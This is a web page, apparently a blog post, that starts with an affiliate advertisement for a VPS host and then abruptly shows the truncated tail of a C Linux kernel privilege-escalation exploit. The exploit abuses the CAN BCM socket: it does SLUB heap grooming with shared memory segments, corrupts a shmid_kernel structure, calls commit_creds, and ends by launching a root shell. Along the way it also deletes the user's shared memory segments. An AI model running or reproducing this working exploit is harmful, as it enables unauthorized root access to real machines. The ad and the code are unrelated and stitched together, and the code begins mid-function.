SIGNUP HERE -> http://www.vr.org/aff.php?aff=551
Just to point out an awesome VPS hosting place, i currently have 2 boxes at, and who have the BEST customer support i have ever found!
The company is HostVirtual , a 11 location company, with datacenters opening now in Asia, wich is super-fast fiber lines.
Folks, this company is going places.. Also hosting warchall.net , and MANY other sites/shells!
They cater for all, have awesome service, and it is CLOUDS, you get what you pay for, they cannot cheat because xen-cloud, limits usage, accordingly…where openvz, does not. This is why, when your looking at your next Openvz box, check howmuch ram and burstable-ram you get..then check even… you will be shocked :>
This companys boxes are all Xeon QuadCore Highend side of town stuff, aweesome highspeed blades,all with extra fine DDoS protection!
Please use the AFFILIATE link http://www.vr.org/aff.php?aff=551 , and then you can use the hand of god to summon xd– on Efnet for support, or simply submit a ticket!
These boxes are worth it.. initial signup is only 4.31!
Existing customers, get 10% off each ‘instance’ wich is about 8bux for making another VPS… very handy 
f = fopen(sname, "r");
if (f == NULL)
return 0;
rep = 1;
goto repeat;
}
int check_slabinfo(char *cache, int *active_out, int *total_out) {
FILE *fp;
char name[64], slab[256];
int active, total, diff;
memset(slab, 0, sizeof(slab));
memset(name, 0, sizeof(name));
fp = fopen("/proc/slabinfo", "r");
if (!fp) {
printf("[-] Sorry, /proc/slabinfo is not available!");
exit(1);
}
fgets(slab, sizeof(slab) - 1, fp);
while (1) {
fgets(slab, sizeof(slab) - 1, fp);
sscanf(slab, "%s %u %u", name, &active, &total);
diff = total - active;
if (strcmp(name, cache) == 0) {
break;
}
}
fclose(fp);
if (active_out) {
*active_out = active;
}
if (total_out) {
*total_out = total;
}
return diff;
}
void trigger(void) {
int *shmids;
int i, ret, sock, cnt, base, smashed;
int diff, active, total, active_new, total_new;
int len, sock_len, mmap_len;
struct sockaddr_can addr;
struct bcm_msg_head *msg;
void *efault;
char *buf;
printf("[+] Creating PF_CAN UDP socket ..\n");
sock = socket(PF_CAN, SOCK_DGRAM, CAN_BCM);
if (sock < 0) {
printf("[-] Kernel lacks CAN packet family support!\n");
exit(1);
}
printf("[+] Connecting PF_CAN socket ..\n");
memset(&addr, 0, sizeof(addr));
addr.can_family = PF_CAN;
ret = connect(sock, (struct sockaddr *) &addr, sizeof(addr));
if (sock < 0) {
printf("[-] Couldnt connect CAN socket ..\n");
exit(1);
}
len = MHSIZ + (CFSIZ * (ALLOCATION/16));
msg = malloc(len);
memset(msg, 0, len);
msg->can_id = 2959;
msg->nframes = (UINT_MAX / CFSIZ) + (ALLOCATION / 16) + 1;
printf("[+] Clearing out any active OPs via RX_DELETE ..\n");
msg->opcode = RX_DELETE;
ret = send(sock, msg, len, 0);
printf("[+] Removing any active user owned shmids ..\n");
system("for shmid in `cat /proc/sysvipc/shm | awk '{print $2}'`; do ipcrm -m $shmid >/dev/null 2>&1; done;");
printf("[+] Massaging " SLUB " SLUB cache with dummy allocations ..\n");
diff = check_slabinfo(SLUB, &active, &total);
shmids = malloc(sizeof(int) * diff * 10);
cnt = diff * 10;
for (i = 0; i < cnt; ++i) {
diff = check_slabinfo(SLUB, &active, &total);
if (diff == 0) {
break;
}
shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
}
base = i;
if (diff != 0) {
printf("[-] Inconsistency detected with SLUB cache allocation!\n");
exit(1);
}
printf("[+] Corrupting BCM OP with truncated allocation via RX_SETUP ..\n");
i = base;
cnt = i + FILLER;
for (; i < cnt; ++i) {
shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
}
msg->opcode = RX_SETUP;
ret = send(sock, msg, len, 0);
if (ret < 0) {
printf("[-] Kernel rejected malformed CAN header ..\n");
exit(1);
}
i = base + FILLER;
cnt = i + FILLER;
for (; i < cnt; ++i) {
shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
}
printf("[+] Mmap'ing truncated memory to short-circuit/EFAULT the memcpy_fromiovec ..\n");
mmap_len = MHSIZ + (CFSIZ * (ALLOCATION / 16) * 3);
sock_len = MHSIZ + (CFSIZ * (ALLOCATION / 16) * 4);
efault = mmap(NULL, mmap_len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
//efault = mmap(PAGE_SIZE, mmap_len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
printf("[+] Mmap'ed mapping of length: %d at: %p ..\n", mmap_len, efault);
printf("[+] Smashing adjacent shmid with dummy payload via malformed RX_SETUP ..\n");
msg = (struct bcm_msg_head *) efault;
memset(msg, 0, mmap_len);
msg->can_id = 2959;
msg->nframes = (ALLOCATION / 16) * 4;
msg->opcode = RX_SETUP;
ret = send(sock, msg, mmap_len, 0);
if (ret != -1 && errno != EFAULT) {
printf("[-] Couldnt trigger EFAULT ,aborting!\n");
exit(1);
}
printf("[+] Seeking out the smashed shmid_kernel ..\n");
i = base;
cnt = i + FILLER + FILLER;
for (; i < cnt; ++i) {
ret = (int) shmat(shmids[i], NULL, SHM_RDONLY);
if (ret == -1 && errno == EIDRM) {
smashed = i;
break;
}
}
if (i == cnt) {
printf("[-] Couldnt find smashed shmid!\n");
exit(1);
}
printf("[+] Discovered our smashed shmid_kernel at: shmid[%d] = %d ..\n", i, shmids[i]);
printf("[+] Re-smashing the shmid_kernel with exploit payload ..\n");
shmid_kernel.shm_perm.seq = shmids[smashed]/IPCMNI;
buf = (char *) msg;
memcpy(&buf[MHSIZ + (ALLOCATION * 2) + HDRLEN_KMALLOC], &shmid_kernel, sizeof(shmid_kernel));
msg->opcode = RX_SETUP;
ret = send(sock, msg, mmap_len, 0);
if (ret != -1 && errno != EFAULT) {
printf("[-] Couldn't trigger EFAULT ,aborting!\n");
exit(1);
}
ret = (int) shmat(shmids[smashed], NULL, SHM_RDONLY);
if (ret == -1 && errno != EIDRM) {
setresuid(0, 0, 0);
setresgid(0, 0, 0);
printf("[+] Launching root shell!\n");
execl("/bin/sh", "/bin/sh", NULL);
exit(0);
}
printf("[-] Exploit failed!\n");
}
void setup(void) {
printf("[+] Looking for symbols ..\n");
commit_creds = (_commit_creds) get_symbol("commit_creds");
if (!commit_creds) {
printf("[-] Symbol table not availabe, aborting!\n");
}
prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
if (!prepare_kernel_cred) {
printf("[-] Symbol table not availabe, aborting!\n");
}
printf("[+] Setting up payload ..\n");
super_block.s_flags = 0;
inode.i_size = 4096;
inode.i_sb = &super_block;
inode.inotify_watches.next = &inode.inotify_watches;
inode.inotify_watches.prev = &inode.inotify_watches;
inode.inotify_mutex.count = 1;
dentry.d_count = 4096;
dentry.d_flags = 4096;
dentry.d_parent = NULL;
dentry.d_inode = &inode;
op.mmap = &kernel_code;
op.get_unmapped_area = &kernel_code;
vfsmount.mnt_flags = 0;
vfsmount.mnt_count = 1;
file.fu_list.prev = &file.fu_list;
file.fu_list.next = &file.fu_list;
file.f_dentry = &dentry;
file.f_vfsmnt = &vfsmount;
file.f_op = &op;
shmid_kernel.shm_perm.key = IPC_PRIVATE;
shmid_kernel.shm_perm.uid = getuid();
shmid_kernel.shm_perm.gid = getgid();
shmid_kernel.shm_perm.cuid = getuid();
shmid_kernel.shm_perm.cgid = getgid();
shmid_kernel.shm_perm.mode = -1;
shmid_kernel.shm_file = &file;
}
int main(int argc, char **argv) {
setup();
trigger();
return 0;
}
